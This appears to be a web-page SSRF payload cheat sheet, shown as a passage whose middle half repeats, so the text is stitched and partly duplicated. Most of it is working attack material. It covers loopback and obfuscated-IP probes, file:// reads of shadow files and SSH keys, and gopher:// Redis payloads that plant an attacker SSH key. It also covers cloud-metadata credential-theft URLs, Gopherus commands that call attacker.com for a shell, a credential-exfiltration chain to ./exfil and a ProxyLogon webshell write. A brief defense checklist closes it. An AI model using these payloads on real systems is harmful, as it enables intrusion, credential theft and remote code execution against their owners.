http://attacker-collaborator-id.interactsh.com/
OAST via DNS:
http://ssrf.attacker.com/ (watch DNS logs)
Port timing difference:
# Open port → faster response
# Closed port → connection refused immediately
# Filtered port → timeout (5+ seconds)
Use timing difference to map internal network
File-based oracle (if app saves fetched content):
http://127.0.0.1/admin → if app stores/displays fetched URL's response
file:///etc/passwd → visible in downloaded file or error
SSRF → RCE Chains
SSRF → Redis (gopher://) → CRON write → RCE
SSRF → FastCGI (gopher://) → PHP execution → RCE
SSRF → Memcached → Object injection → RCE
SSRF → Cloud metadata → IAM creds → S3 write → RCE
SSRF → Kubernetes API → create pod → RCE
SSRF → Docker API → exec container → RCE
SSRF → Jenkins (unauth) → Groovy script → RCE
SSRF → Elasticsearch → script execution → RCE
Tools
| Tool | Purpose | Command |
|---|---|---|
| Burp Suite | Intercept & test SSRF params | Manual + Collaborator |
| interactsh | Blind SSRF OOB detection | interactsh-client |
| SSRFmap | Automated SSRF exploitation | python ssrfmap.py -r req.txt -p url |
| Gopherus | Generate gopher:// payloads | python gopherus.py --exploit redis |
| SSRF Sheriff | Internal testing framework | — |
| Nuclei | Template-based SSRF scanning | nuclei -t ssrf/ -u https://target.com |
Gopherus Payloads
# Redis RCE (cron job)
python gopherus.py --exploit redis --lhost attacker.com --lport 4444
# MySQL
python gopherus.py --exploit mysql --uname root --qry "SELECT ..."
# FastCGI → PHP RCE
python gopherus.py --exploit fastcgi --file /var/www/html/index.php --cmd "id"
# SMTP
python gopherus.py --exploit smtp --mail-from [email protected] --mail-to [email protected] --helo localhost
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Capital One Breach | 2019 | AWS EC2 | SSRF via IMDSv1 → IAM credential theft → 100M records exfiltrated |
| CVE-2021-22214 | 2021 | GitLab | SSRF in Webhooks → internal service access |
| CVE-2021-22175 | 2021 | GitLab | SSRF → Gitaly internal gRPC access |
| CVE-2019-11043 | 2019 | PHP-FPM + Nginx | SSRF + Nginx misconfig → RCE |
| CVE-2021-26855 | 2021 | Exchange Server (ProxyLogon) | SSRF → auth bypass → RCE |
| CVE-2022-1388 | 2022 | F5 BIG-IP iControl REST | SSRF-like auth bypass → RCE |
| Twitch Breach | 2021 | Internal infrastructure | SSRF used to pivot internal network |
| HackerOne — Shopify | 2019 | Shopify Partner Dashboard | SSRF → internal GCP metadata → service account tokens |
CTF Machines
- HTB: Sink — SSRF via HTTP Request Smuggling → internal service access → secret manager
- HTB: Bolt — SSRF in image downloader → internal Redis
- HTB: Unobtainium — SSRF + prototype pollution chain
- HTB: Rebound — SSRF to internal SMTP → credential capture
- PentesterLab — AWS SSRF labs (IMDSv1 and v2 bypass)
- flaws.cloud — Multi-level AWS SSRF challenge (highly recommended)
Bug Bounty Highlights
- Orange Tsai — SSRF via Apache mod_rewrite (2024): Confusion attack chain leading to SSRF, ranked #1 web hacking technique of 2024 — see the writeup
- HackerOne — Gitlab (2021): SSRF chain → internal network scan → $20,000
- HackerOne — Yahoo Mail (2015): SSRF in image proxy → internal service scan → $4,000
Example: Capital One Breach (2019) — Exact Chain
# Step 1: Attacker finds SSRF in WAF endpoint running on EC2
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: "isrm-WAF-Role"
# Step 2: Grab temporary IAM credentials
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/isrm-WAF-Role
# Response: AccessKeyId, SecretAccessKey, Token
# Step 3: Use stolen credentials to list S3 buckets
aws configure --profile stolen
# Enter AccessKeyId, SecretAccessKey, Token from above
aws s3 ls --profile stolen
aws s3 sync s3://target-bucket/ ./exfil/ --profile stolen
Example: CVE-2021-26855 — ProxyLogon SSRF (Exchange)
# SSRF to reach internal Exchange backend, bypassing auth
GET /owa/auth/x.js HTTP/1.1
Host: mail.victim.com
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-BEResource=localhost/owa/auth/logon.aspx?~3;
# Then abuse CVE-2021-27065 to write a webshell
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
{"filter":{"Parameters":{"__RequestVerificationToken":"TOKEN",
"ExternalUrl":"http://f/{.aspx_webshell_content}"}}}
# Access webshell
GET /owa/auth/shell.aspx?cmd=whoami
Example: HTB: Sink — SSRF via Request Smuggling
# Smuggle internal request through HAProxy
POST / HTTP/1.1
Host: sink.htb
Content-Length: 200
Transfer-Encoding: chunked
0
GET /notes HTTP/1.1
Host: 172.20.0.1
X-Forwarded-For: 127.0.0.1
# The smuggled request reaches internal Localstack at 172.20.0.1
# Retrieve AWS secrets
curl -s http://172.20.0.1:4566/secretsmanager/list-secrets \
-H "X-Amz-Target: secretsmanager.ListSecrets" \
-H "Content-Type: application/x-amz-json-1.1" -d '{}'
Defense Checklist
- Whitelist allowed destination hosts/IPs — deny by default
- Block requests to 169.254.x.x, 10.x.x.x, 172.16-31.x.x, 127.x.x.x
- Disable unnecessary URL schemes (file://, gopher://, dict://, ftp://)
- Resolve DNS server-side and validate the resolved IP
- Enable IMDSv2 on AWS (requires PUT token — harder to abuse)
- Use cloud service accounts with least privilege
- Apply network-level egress filtering
References
- PortSwigger SSRF Labs
- PayloadsAllTheThings SSRF
- HackTricks SSRF
- Related on this site: SSRF to Cloud Credentials — AWS IAM Token Theft
Scope: Full SSRF payload reference from basic probing to cloud credential theft. For a real-world AWS IAM token exfiltration chain, see SSRF to Cloud Credentials.
Basic Detection Probes
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://0/
http://127.1/
http://127.0.1/
http://2130706433/ (127.0.0.1 in decimal)
http://0x7f000001/ (127.0.0.1 in hex)
http://017700000001/ (127.0.0.1 in octal)
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/ (SSH banner grab)
http://127.0.0.1:6379/ (Redis)
http://127.0.0.1:5432/ (PostgreSQL)
http://127.0.0.1:3306/ (MySQL)
http://127.0.0.1:27017/ (MongoDB)
http://127.0.0.1:9200/ (Elasticsearch)
http://127.0.0.1:8080/ (alt HTTP)
http://127.0.0.1:8443/ (alt HTTPS)
Use a Burp Collaborator / interactsh URL to detect blind SSRF:
http://your-collaborator-id.oastify.com/
https://your-collaborator-id.oastify.com/
Protocol Handlers
file://
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/maps
file:///proc/version
file:///var/log/apache2/access.log
file:///var/log/nginx/access.log
file:///home/user/.ssh/id_rsa
file:///home/user/.ssh/authorized_keys
file:///root/.ssh/id_rsa
file:///root/.bash_history
file:///app/config/database.yml (Rails)
file:///app/.env (Node.js / Laravel)
file:///var/www/html/wp-config.php (WordPress)
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config (IIS)
dict://
dict://127.0.0.1:6379/INFO (Redis INFO)
dict://127.0.0.1:6379/CONFIG:GET:* (Redis CONFIG)
dict://127.0.0.1:11211/stats (Memcached stats)
dict://127.0.0.1:25/EHLO:attacker (SMTP banner)
gopher://
Allows sending raw TCP payloads — powerful for protocol smuggling.
# Redis — unauthenticated flush and set
gopher://127.0.0.1:6379/_FLUSHALL%0D%0A
gopher://127.0.0.1:6379/_SET%20key%20value%0D%0A
# Redis — write SSH key for RCE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2460%0D%0A%0A%0Assh-rsa%20AAAA...attacker_key...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A%2Froot%2F.ssh%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A
# MySQL — unauthenticated query (no auth)
gopher://127.0.0.1:3306/_%00%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00...
# SMTP — send email
gopher://127.0.0.1:25/_EHLO%20localhost%0AMAIL%20FROM%3A%3Chattacker%40attacker.com%3E%0ARCPT%20TO%3A%3Cvictim%40victim.com%3E%0ADATA%0AFrom%3A%20attacker%0ASubject%3A%20SSRF%0A%0AContent%0A.%0AQUIT%0A
# FastCGI — RCE via PHP-FPM
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Memcached
gopher://127.0.0.1:11211/_%0astats%0a
ftp://
ftp://127.0.0.1/
ftp://internal-server/secret.txt
ftp://user:pass@internal-ftp/
sftp:// / tftp:// / ldap://
sftp://attacker.com:2222/ (blind SSRF detection)
tftp://attacker.com:69/test (UDP — blind detection)
ldap://attacker.com:389/ (blind SSRF detection)
ldaps://attacker.com:636/
ldap://127.0.0.1:389/dc=target,dc=com
jar://
jar:http://attacker.com/evil.jar!/
Cloud Instance Metadata
AWS (EC2 / ECS / Lambda)
IMDSv1 (no token required):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
IAM Credential Response (IMDSv1):
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-01T00:00:00Z"
}
IMDSv2 (requires PUT token — bypass via SSRF header injection):
# Step 1: Get token (PUT request — needs SSRF that supports method control)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Returns: TOKEN_VALUE
# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: TOKEN_VALUE
ECS Task Metadata:
http://169.254.170.2/v2/credentials/<UUID>
http://169.254.170.2/v2/metadata
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI (check env first)
Lambda:
http://127.0.0.1:9001/2018-06-01/runtime/invocation/next
$AWS_ACCESS_KEY_ID, $AWS_SECRET_ACCESS_KEY in process environment
GCP (Google Cloud)
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env (GKE)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
Required header: Metadata-Flavor: Google
If SSRF doesn't allow custom headers, some misconfigurations allow without it.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
# Azure IMDS v2 alternative
http://169.254.169.254/metadata/attested/document?api-version=2020-09-01
Required header: Metadata: true
DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/user-data
Oracle Cloud
http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/identity/
http://169.254.169.254/opc/v1/instance/
Linode / Akamai Cloud
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/v1/
IBM Cloud
http://169.254.169.254/metadata/v1/token
http://169.254.169.254/metadata/v1/instance
Kubernetes & Container Environments
Kubernetes API Server
https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/
https://kubernetes.default.svc/api/v1/namespaces/
https://kubernetes.default.svc/api/v1/pods
https://kubernetes.default.svc/api/v1/secrets
https://10.96.0.1/api/v1/secrets (default cluster IP range)
# Service Account token usually at:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
Docker API (Unix socket via SSRF)
http://localhost:2375/info
http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2376/info (TLS port)
etcd (Kubernetes backing store)
http://127.0.0.1:2379/version
http://127.0.0.1:2379/v2/keys/
http://127.0.0.1:2379/v3/kv/range (gRPC — via gopher)
Internal Service Scanning
Use SSRF to map internal network and services:
# Common targets on 127.0.0.1 / 192.168.x.x / 10.x.x.x / 172.16-31.x.x
http://internal-host:80/
http://internal-host:8080/
http://internal-host:8443/
http://internal-host:8888/ (Jupyter Notebook)
http://internal-host:9200/ (Elasticsearch — /_cat/indices)
http://internal-host:5601/ (Kibana)
http://internal-host:6379/ (Redis)
http://internal-host:5432/ (PostgreSQL)
http://internal-host:3306/ (MySQL)
http://internal-host:27017/ (MongoDB)
http://internal-host:11211/ (Memcached)
http://internal-host:2181/ (ZooKeeper)
http://internal-host:4848/ (GlassFish admin)
http://internal-host:7001/ (WebLogic)
http://internal-host:7002/ (WebLogic SSL)
http://internal-host:8161/ (ActiveMQ)
http://internal-host:61616/ (ActiveMQ queue)
http://internal-host:4567/ (Jenkins alt)
http://internal-host:50000/ (Jenkins agent)
http://internal-host:8500/ (Consul)
http://internal-host:8200/ (Vault)
http://internal-host:9090/ (Prometheus)
http://internal-host:3000/ (Grafana)
http://internal-host:15672/ (RabbitMQ management)
http://internal-host:2375/ (Docker daemon)
SSRF Bypass Techniques
IP Obfuscation
# Decimal
http://2130706433/ → 127.0.0.1
http://3232235521/ → 192.168.0.1
# Hex
http://0x7f000001/ → 127.0.0.1
http://0x7f.0x00.0x00.0x01/
# Octal
http://0177.0000.0000.0001/ → 127.0.0.1
http://017700000001/
# Mixed format
http://0177.0.0.1/
http://127.0.0x1/
# IPv6 mapped IPv4
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:0001]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::1]/ → IPv6 loopback
# Short notation
http://127.1/ → 127.0.0.1
http://127.0.1/ → 127.0.0.1
URL Encoding
http://%31%32%37%2e%30%2e%30%2e%31/ → 127.0.0.1
http://127.0.0.1%[email protected]/ → host confusion
http://attacker.com%23.target.com/ → fragment bypass
http://%6c%6f%63%61%6c%68%6f%73%74/ → localhost (hex encoded)
URL Parser Confusion
# Username trick — URL parses as: user=127.0.0.1, host=attacker.com
http://[email protected]/
# Fragment confusion (depends on parser)
http://attacker.com#127.0.0.1/
# Slash confusion
http://attacker.com/http://127.0.0.1/
http://attacker.com\.127.0.0.1/
# @ sign ambiguity
http://[email protected]/
DNS-Based Bypasses
# DNS rebinding — resolves to 127.0.0.1 after initial check
# Use: https://lock.cmpxchg8b.com/rebinder.html
http://rebind.attacker.com/
# Wildcard DNS pointing to 127.0.0.1
http://localtest.me/ → 127.0.0.1
http://127.0.0.1.nip.io/ → 127.0.0.1
http://spoofed.burpcollaborator.net/
# Own domain A record → 127.0.0.1
http://internal.attacker.com/ (attacker controls DNS → 127.0.0.1)
Open Redirect Chaining
# If target follows redirects
https://target.com/redirect?url=http://169.254.169.254/
# 302 from attacker-controlled server
Location: http://169.254.169.254/latest/meta-data/
# Chained via URL shortener on trusted domain
https://trusted-domain.com/short/abc → http://169.254.169.254/
Protocol Confusion
# Scheme case variation
HTTP://127.0.0.1/
HTTPS://127.0.0.1/
hTTp://127.0.0.1/
# Double-slash
http:///127.0.0.1/
http:////127.0.0.1/
# Protocol-relative
//127.0.0.1/
Header Injection for SSRF
When the target accepts headers that define internal URLs:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: metadata.google.internal
Host: 169.254.169.254
X-Original-URL: http://127.0.0.1/admin
X-Custom-IP-Authorization: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
SNI / Host Header Bypass
# If SSRF checks Host header but follows SNI
GET / HTTP/1.1
Host: 169.254.169.254
SNI: trusted-domain.com
Blind SSRF Detection
No response body? Detect via:
Burp Collaborator / interactsh:
http://attacker-collaborator-id.oastify.com/
http://attacker-collaborator-id.interactsh.com/
OAST via DNS:
http://ssrf.attacker.com/ (watch DNS logs)
Port timing difference:
# Open port → faster response
# Closed port → connection refused immediately
# Filtered port → timeout (5+ seconds)
Use timing difference to map internal network
File-based oracle (if app saves fetched content):
http://127.0.0.1/admin → if app stores/displays fetched URL's response
file:///etc/passwd → visible in downloaded file or error
SSRF → RCE Chains
SSRF → Redis (gopher://) → CRON write → RCE
SSRF → FastCGI (gopher://) → PHP execution → RCE
SSRF → Memcached → Object injection → RCE
SSRF → Cloud metadata → IAM creds → S3 write → RCE
SSRF → Kubernetes API → create pod → RCE
SSRF → Docker API → exec container → RCE
SSRF → Jenkins (unauth) → Groovy script → RCE
SSRF → Elasticsearch → script execution → RCE
Tools
| Tool | Purpose | Command |
|---|---|---|
| Burp Suite | Intercept & test SSRF params | Manual + Collaborator |
| interactsh | Blind SSRF OOB detection | interactsh-client |
| SSRFmap | Automated SSRF exploitation | python ssrfmap.py -r req.txt -p url |
| Gopherus | Generate gopher:// payloads | python gopherus.py --exploit redis |
| SSRF Sheriff | Internal testing framework | — |
| Nuclei | Template-based SSRF scanning | nuclei -t ssrf/ -u https://target.com |
Gopherus Payloads
# Redis RCE (cron job)
python gopherus.py --exploit redis --lhost attacker.com --lport 4444
# MySQL
python gopherus.py --exploit mysql --uname root --qry "SELECT ..."
# FastCGI → PHP RCE
python gopherus.py --exploit fastcgi --file /var/www/html/index.php --cmd "id"
# SMTP
python gopherus.py --exploit smtp --mail-from [email protected] --mail-to [email protected] --helo localhost
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Capital One Breach | 2019 | AWS EC2 | SSRF via IMDSv1 → IAM credential theft → 100M records exfiltrated |
| CVE-2021-22214 | 2021 | GitLab | SSRF in Webhooks → internal service access |
| CVE-2021-22175 | 2021 | GitLab | SSRF → Gitaly internal gRPC access |
| CVE-2019-11043 | 2019 | PHP-FPM + Nginx | SSRF + Nginx misconfig → RCE |
| CVE-2021-26855 | 2021 | Exchange Server (ProxyLogon) | SSRF → auth bypass → RCE |
| CVE-2022-1388 | 2022 | F5 BIG-IP iControl REST | SSRF-like auth bypass → RCE |
| Twitch Breach | 2021 | Internal infrastructure | SSRF used to pivot internal network |
| HackerOne — Shopify | 2019 | Shopify Partner Dashboard | SSRF → internal GCP metadata → service account tokens |
CTF Machines
- HTB: Sink — SSRF via HTTP Request Smuggling → internal service access → secret manager
- HTB: Bolt — SSRF in image downloader → internal Redis
- HTB: Unobtainium — SSRF + prototype pollution chain
- HTB: Rebound — SSRF to internal SMTP → credential capture
- PentesterLab — AWS SSRF labs (IMDSv1 and v2 bypass)
- flaws.cloud — Multi-level AWS SSRF challenge (highly recommended)
Bug Bounty Highlights
- Orange Tsai — SSRF via Apache mod_rewrite (2024): Confusion attack chain leading to SSRF, ranked #1 web hacking technique of 2024 — see the writeup
- HackerOne — Gitlab (2021): SSRF chain → internal network scan → $20,000
- HackerOne — Yahoo Mail (2015): SSRF in image proxy → internal service scan → $4,000
Example: Capital One Breach (2019) — Exact Chain
# Step 1: Attacker finds SSRF in WAF endpoint running on EC2
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: "isrm-WAF-Role"
# Step 2: Grab temporary IAM credentials
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/isrm-WAF-Role
# Response: AccessKeyId, SecretAccessKey, Token
# Step 3: Use stolen credentials to list S3 buckets
aws configure --profile stolen
# Enter AccessKeyId, SecretAccessKey, Token from above
aws s3 ls --profile stolen
aws s3 sync s3://target-bucket/ ./exfil/ --profile stolen
Example: CVE-2021-26855 — ProxyLogon SSRF (Exchange)
# SSRF to reach internal Exchange backend, bypassing auth
GET /owa/auth/x.js HTTP/1.1
Host: mail.victim.com
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-BEResource=localhost/owa/auth/logon.aspx?~3;
# Then abuse CVE-2021-27065 to write a webshell
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
{"filter":{"Parameters":{"__RequestVerificationToken":"TOKEN",
"ExternalUrl":"http://f/{.aspx_webshell_content}"}}}
# Access webshell
GET /owa/auth/shell.aspx?cmd=whoami
Example: HTB: Sink — SSRF via Request Smuggling
# Smuggle internal request through HAProxy
POST / HTTP/1.1
Host: sink.htb
Content-Length: 200
Transfer-Encoding: chunked
0
GET /notes HTTP/1.1
Host: 172.20.0.1
X-Forwarded-For: 127.0.0.1
# The smuggled request reaches internal Localstack at 172.20.0.1
# Retrieve AWS secrets
curl -s http://172.20.0.1:4566/secretsmanager/list-secrets \
-H "X-Amz-Target: secretsmanager.ListSecrets" \
-H "Content-Type: application/x-amz-json-1.1" -d '{}'
Defense Checklist
- Whitelist allowed destination hosts/IPs — deny by default
- Block requests to 169.254.x.x, 10.x.x.x, 172.16-31.x.x, 127.x.x.x
- Disable unnecessary URL schemes (file://, gopher://, dict://, ftp://)
- Resolve DNS server-side and validate the resolved IP
- Enable IMDSv2 on AWS (requires PUT token — harder to abuse)
- Use cloud service accounts with least privilege
- Apply network-level egress filtering